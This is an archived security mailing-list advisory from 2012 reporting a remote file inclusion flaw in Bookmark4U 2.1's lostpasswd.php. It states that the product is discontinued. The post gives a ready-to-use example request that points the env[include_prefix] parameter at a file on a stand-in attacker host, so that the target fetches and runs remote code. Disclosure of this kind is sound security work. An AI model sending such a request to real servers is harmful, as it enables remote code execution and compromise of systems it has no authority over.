Bookmark4U lostpasswd.php env[include_prefix] Parameter RFI

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Subject: Bookmark4U lostpasswd.php env[include_prefix] Parameter RFI
From: BugsNotHugs <bugsnothugs@xxxxxxxxx>
Date: Mon, 02 Jul 2012 01:01:33 -0600
User-agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20120614 Thunderbird/13.0.1


vendor - http://bookmark4u.sourceforge.net/
version - 2.1
solution - product discontinued

example -http://[target]/bookmark4u/lostpasswd.php?env%5Binclude_prefix%5D=http://[attacker]/path/to/file.txt???

Prev by Date: IBM developerWorks ncp (Nigel's Capacity Planning) 2.1 Remote Information Disclosure
Next by Date: IBM Edge Components Caching Proxy XSS Followup
Previous by thread: IBM developerWorks ncp (Nigel's Capacity Planning) 2.1 Remote Information Disclosure
Next by thread: IBM Edge Components Caching Proxy XSS Followup
Index(es):
- Date
- Thread

[Index of Archives] [Linux Security] [Netfilter] [PHP] [Yosemite News] [Linux Kernel]

Powered by Linux